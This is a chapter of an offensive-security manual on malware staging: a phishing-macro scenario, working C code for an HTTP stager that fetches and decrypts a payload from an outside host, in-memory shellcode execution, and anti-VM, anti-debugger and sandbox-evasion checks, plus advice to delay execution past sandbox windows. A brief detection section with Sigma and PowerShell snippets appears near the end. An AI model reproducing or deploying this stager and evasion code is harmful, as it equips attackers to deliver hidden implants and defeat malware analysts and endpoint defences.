Chapter 117

Staging and Stager Design

The two-phase delivery model: tiny stager fetches full implant at runtime, reflective loading executes from memory without touching disk, environment checks abort in sandbox/analyst environments

Scenario

Your initial-access phishing payload is a 5KB macro that runs when the document opens. Email security scans it, but the macro contains only a URL fetch and an execute-in-memory call — no shellcode, no beacon, nothing for static analysis to find. The actual 400KB encrypted beacon is fetched at runtime from a CDN URL and loaded directly into memory via reflective DLL injection. Before downloading, the stager checks: am I running in a VM? Are more than 100 processes running? Is the username "analyst" or "sandbox"? Do I see a debugger? Only if all checks pass does the stager contact C2 and pull the real payload. Analysts running the doc in a sandbox get nothing.

The Staging Model

Two-phase delivery: Phase 1: Stager (tiny, low footprint) ┌──────────────────────────────────┐ │ - Small (~5-15KB) │ │ - Minimal imports │ │ - No obvious malicious strings │ │ - No persistence (yet) │ │ - Environment checks │ │ - Downloads + decrypts Stage 2 │ │ - Executes Stage 2 in memory │ └──────────────────────────────────┘ │ HTTP/HTTPS/DNS ▼ Phase 2: Full Beacon (large, feature-rich) ┌──────────────────────────────────┐ │ - Full C2 agent (200-500KB) │ │ - Encrypted blob on server │ │ - Never written to disk │ │ - Loaded via reflective DLL │ │ - All capabilities: post-ex, │ │ lateral move, persistence │ └──────────────────────────────────┘ Why stage? Email/AV scanning sees only the stager — no C2 URL, no payload bytes Payload can be rotated on server without re-delivering the stager Different payloads served based on target fingerprint Operator can take the C2 server offline after staging (stager gets nothing)

Stageless vs Staged

PropertyStageless (single file)Staged (stager + download)
Size delivered initiallyFull payload (200-500KB)Only stager (5-15KB)
Network connection on deliveryNone — fully self-containedRequired — stager must contact C2
Disk exposureFull payload written if stager writes itPayload never hits disk (in-memory load)
AV/sandbox visibilityFull payload byte sequence scannableOnly stager bytes; payload encrypted until runtime
Payload rotationNew stager needed per changeChange payload on server; same stager works
Network failure handlingN/AStager fails; no compromise if C2 is offline
Use caseAir-gapped, USB delivery, no outboundMost network-connected phishing operations

HTTP Stager — WinHTTP Download + Execute

// Minimal HTTP stager: download encrypted payload, decrypt, reflectively load
// Target: < 10KB compiled, minimal import table

#include <windows.h>
#include <winhttp.h>
#pragma comment(lib, "winhttp.lib")

#define STAGE2_URL  L"https://cdn-update.corp-tools.com/updates/v2/sync"
#define XOR_KEY     "K9#mP2@qZ7!vL4&n"  // single-use XOR key for transit obfuscation
// Note: use ECDH session key from ch116 for real crypto; XOR here for brevity

LPVOID FetchPayload(DWORD* payloadSize) {
    HINTERNET hSession = WinHttpOpen(
        L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, NULL, NULL, 0);
    if (!hSession) return NULL;

    HINTERNET hConnect = WinHttpConnect(hSession, L"cdn-update.corp-tools.com",
                                         INTERNET_DEFAULT_HTTPS_PORT, 0);
    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/updates/v2/sync",
                                             NULL, WINHTTP_NO_REFERER,
                                             WINHTTP_DEFAULT_ACCEPT_TYPES,
                                             WINHTTP_FLAG_SECURE);

    // Add headers matching malleable profile (ch113)
    WinHttpAddRequestHeaders(hRequest,
        L"Accept: application/json\r\nCache-Control: no-cache", -1, WINHTTP_ADDREQ_FLAG_ADD);

    WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
                       WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
    WinHttpReceiveResponse(hRequest, NULL);

    // Read response into heap buffer
    DWORD totalRead = 0;
    DWORD chunkSize = 0;
    LPVOID buf = HeapAlloc(GetProcessHeap(), 0, 1024*1024);  // 1MB initial

    do {
        BYTE chunk[4096];
        WinHttpReadData(hRequest, chunk, sizeof(chunk), &chunkSize);
        if (chunkSize > 0) {
            memcpy((BYTE*)buf + totalRead, chunk, chunkSize);
            totalRead += chunkSize;
        }
    } while (chunkSize > 0);

    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);

    if (totalRead < 1024) { HeapFree(GetProcessHeap(), 0, buf); return NULL; }

    // XOR decrypt (replace with AES-GCM in production)
    DWORD keyLen = (DWORD)strlen(XOR_KEY);
    for (DWORD i = 0; i < totalRead; i++)
        ((BYTE*)buf)[i] ^= XOR_KEY[i % keyLen];

    *payloadSize = totalRead;
    return buf;  // caller passes to reflective loader
}

Payload Execution — Execute-Memory Shellcode

// Execute raw shellcode payload in current process (no disk write)
// VirtualAlloc RWX, copy shellcode, create thread on it
// For DLL payloads, use reflective loader (next section)

BOOL ExecShellcode(BYTE* shellcode, DWORD shellcodeLen) {
    // Allocate RW first, copy shellcode, then change to RX (W^X compliance)
    LPVOID mem = VirtualAlloc(NULL, shellcodeLen,
                               MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!mem) return FALSE;

    memcpy(mem, shellcode, shellcodeLen);

    DWORD old;
    VirtualProtect(mem, shellcodeLen, PAGE_EXECUTE_READ, &old);

    HANDLE hThread = CreateThread(NULL, 0,
                                    (LPTHREAD_START_ROUTINE)mem,
                                    NULL, 0, NULL);
    if (!hThread) {
        VirtualFree(mem, 0, MEM_RELEASE);
        return FALSE;
    }

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    VirtualFree(mem, 0, MEM_RELEASE);
    return TRUE;
}

// For PE (DLL) payloads: use reflective DLL loading (below)
// VirtualAlloc + CreateThread pattern is the most detectable approach
// Prefer injection into a remote process — covered in process injection chapter

Reflective DLL Loading Concept

Reflective DLL Loading (Stephen Fewer, 2008): Load a DLL from memory without calling LoadLibrary The DLL contains a "ReflectiveLoader" export function that implements its own PE loader: 1. Find image base: ReflectiveLoader finds its own base address by walking return addresses to locate the MZ header 2. Parse PE headers: read IMAGE_NT_HEADERS for sections, imports, relocs 3. Allocate new memory: VirtualAlloc(NULL, SizeOfImage, MEM_RESERVE|COMMIT, RW) 4. Copy sections: copy each IMAGE_SECTION_HEADER from raw to virtual offset 5. Fix relocations: walk IMAGE_BASE_RELOCATION table, apply delta (allocated base - preferred base from OptionalHeader.ImageBase) 6. Resolve imports: walk Import Directory, call GetProcAddress for each symbol 7. Apply section permissions: VirtualProtect each section to correct flags (.text → PAGE_EXECUTE_READ, .data → PAGE_READWRITE, etc.) 8. Call TLS callbacks: walk TLS directory if present 9. Call DllMain: invoke entry point with DLL_PROCESS_ATTACH Result: DLL is fully loaded and executing in memory - No file on disk - Not in PEB LDR module list (hidden from module enumeration) - LoadLibrary/GetModuleHandle("beacon.dll") returns NULL - Still visible via VirtualQuery scan (scanning all allocated pages) Open source implementations: ReflectiveDLLInjection (GitHub: stephenfewer) sRDI (shellcode-based reflective loader — converts PE to shellcode) donut (PE-to-shellcode converter with AMSI bypass)

Environment Checks — Sandbox and Analyst Detection

// Pre-execution environment checks — bail out in analyst environments

BOOL IsVirtualMachine() {
    // CPUID check: VMware/VirtualBox/Hyper-V hypervisor bit
    int cpuInfo[4] = {0};
    __cpuid(cpuInfo, 1);
    if (cpuInfo[2] & (1 << 31)) return TRUE;  // hypervisor present bit

    // Registry artifacts
    HKEY hKey;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\VMware, Inc.\\VMware Tools", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        RegCloseKey(hKey); return TRUE;
    }
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Oracle\\VirtualBox Guest Additions", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        RegCloseKey(hKey); return TRUE;
    }
    return FALSE;
}

BOOL HasTooFewProcesses() {
    // Sandboxes often have < 50 processes; real workstations have 100+
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return TRUE;
    PROCESSENTRY32W pe = {sizeof(PROCESSENTRY32W)};
    int count = 0;
    if (Process32FirstW(hSnap, &pe)) {
        do { count++; } while (Process32NextW(hSnap, &pe));
    }
    CloseHandle(hSnap);
    return (count < 60);
}

BOOL IsSandboxUsername() {
    const wchar_t* badNames[] = {
        L"analyst", L"sandbox", L"malware", L"virus",
        L"maltest", L"test", L"admin", L"sample",
        L"SYSTEM", NULL
    };
    WCHAR user[256] = {0};
    DWORD len = 256;
    GetUserNameW(user, &len);
    for (int i = 0; badNames[i]; i++) {
        if (_wcsicmp(user, badNames[i]) == 0) return TRUE;
    }
    return FALSE;
}

BOOL IsBeingDebugged() {
    // PEB.BeingDebugged flag (IsDebuggerPresent reads this)
    if (IsDebuggerPresent()) return TRUE;

    // NtQueryInformationProcess ProcessDebugPort check
    HANDLE hDbg = NULL;
    typedef NTSTATUS (NTAPI *pfnNtQIP)(HANDLE, UINT, PVOID, ULONG, PULONG);
    pfnNtQIP NtQIP = (pfnNtQIP)GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                                "NtQueryInformationProcess");
    if (NtQIP) {
        HANDLE port = NULL;
        NtQIP(GetCurrentProcess(), 7/*ProcessDebugPort*/, &port, sizeof(port), NULL);
        if (port != NULL) return TRUE;
    }
    return FALSE;
}

BOOL HasRecentUserActivity() {
    // Sandboxes don't move the mouse — check recent input time
    LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
    GetLastInputInfo(&lii);
    DWORD idle = (GetTickCount() - lii.dwTime) / 1000;
    return (idle < 600);  // active in last 10 minutes
}

BOOL ShouldAbort() {
    if (IsVirtualMachine())      return TRUE;
    if (IsBeingDebugged())       return TRUE;
    if (IsSandboxUsername())     return TRUE;
    if (HasTooFewProcesses())    return TRUE;
    if (!HasRecentUserActivity()) return TRUE;
    return FALSE;
}
Evasion Arms Race
Sandbox vendors know these checks. Cuckoo Sandbox, Hatching Triage, and VMRay add fake mouse movements, use real usernames, and patch CPUID results. Rely on a combination of checks, not any single one. Most importantly: add a time delay (Sleep 5-10 minutes) before execution. Sandboxes have limited analysis windows and may time out before your payload runs. On real workstations, a 10-minute delay is invisible.

Detection Engineering

-- Sigma: Detect staging patterns in Windows telemetry

-- 1. VirtualAlloc + WriteProcessMemory + CreateRemoteThread sequence
--    (classic shellcode staging in remote process)
title: Shellcode Staging via VirtualAlloc-WPM-CRT
logsource:
  product: windows
  category: process_creation
detection:
  memory_alloc:
    EventID: 10   # Sysmon ProcessAccess
    CallTrace|contains: VirtualAllocEx
  condition: memory_alloc
level: medium

-- 2. WinHTTP download followed immediately by VirtualAlloc RWX page
--    (staging: download + execute pattern)

-- Sysmon Event 7 (Image Load) + Event 1 (Process Create):
-- Look for: process that loaded winhttp.dll creates RWX allocation

-- 3. Reflective DLL indicators:
--    Module loaded but not in PEB module list (phantom module)
--    Memory region with PAGE_EXECUTE_READ but no mapped file backing
--    Detected via: VirtualQuery scan finding executable anonymous pages

-- PowerShell: find executable anonymous memory (likely reflectively loaded DLL)
Add-Type @"
using System; using System.Runtime.InteropServices;
public class MemScan {
    [DllImport("kernel32.dll")] public static extern bool VirtualQueryEx(
        IntPtr hProcess, IntPtr lpAddress, out MEMORY_BASIC_INFORMATION lpBuffer, uint dwLength);
    [StructLayout(LayoutKind.Sequential)]
    public struct MEMORY_BASIC_INFORMATION {
        public IntPtr BaseAddress; public IntPtr AllocationBase;
        public uint AllocationProtect; public IntPtr RegionSize;
        public uint State; public uint Protect; public uint Type;
    }
}
"@
# State=0x1000 MEM_COMMIT, Protect=0x20 PAGE_EXECUTE_READ, Type=0x20000 MEM_PRIVATE
# (private executable = not a mapped file = suspicious)

Q&A

What is "sRDI" (shellcode-based Reflective DLL Injection) and why is it preferred over classic Reflective DLL Injection?

Classic Reflective DLL Injection (ReflectiveDLLInjection by Stephen Fewer) requires injecting the entire DLL PE file into a process and calling its exported ReflectiveLoader function. The stager must allocate memory, copy the PE, and use GetProcAddress-equivalent logic to find the ReflectiveLoader export — this requires knowing the DLL's export table, which means parsing the PE header from the injected buffer. sRDI (Shellcode-based Reflective DLL Injection, by monoxgas / nccgroup) converts a PE DLL into pure shellcode at build time. The shellcode is position-independent code that, when executed, performs the full reflective load procedure — allocating memory, mapping sections, resolving imports, calling DllMain. From the caller's perspective, it's just raw shellcode: allocate RWX memory, copy bytes, call CreateThread. No PE header parsing at injection time. The advantages: (1) the payload looks like shellcode, not a PE file, making memory scanning signatures less effective; (2) simpler injection code (no PE handling needed by the stager); (3) compatible with any shellcode execution technique (process hollowing, module stomping, queue user APC, etc.); (4) smaller minimum required memory (no PE alignment padding overhead until the reflective loader sets up the final image). donut (by TheWover) takes this further by supporting not just DLLs but .NET assemblies, VBScript, JScript, and XSL files, converting all to shellcode.

Why doesn't checking IsDebuggerPresent() reliably detect an analyst reversing the stager?

IsDebuggerPresent() reads the BeingDebugged flag from the PEB (Process Environment Block), specifically PEB.BeingDebugged at offset 0x2 (x64: 0x2). A skilled analyst using x64dbg or WinDbg can trivially patch this byte to 0 after attaching, so IsDebuggerPresent returns FALSE even with an active debugger. The NtQueryInformationProcess(ProcessDebugPort) check is similarly bypassable — ScyllaHide and various debugger plugins hook NtQueryInformationProcess to return NULL for the debug port. Timing checks (RDTSC, GetTickCount) are more resilient: they measure how long a code sequence takes and abort if it takes too long (the debugger pausing execution inflates timing). Hardware breakpoints (visible via debug registers DR0-DR7) are harder to hide but require kernel access to clear. The most reliable evasion is not a single check but a combination: VM detection + username + process count + user activity + a time-delayed callback (sleep minutes, not milliseconds). Against automated sandbox pipelines, a long sleep is highly effective: sandboxes run payloads for 30-120 seconds and many time out before a 5-minute sleep expires. Against human analysts, no check is permanent — a determined analyst can bypass all of them. The goal is raising the cost, not creating an unbreakable barrier.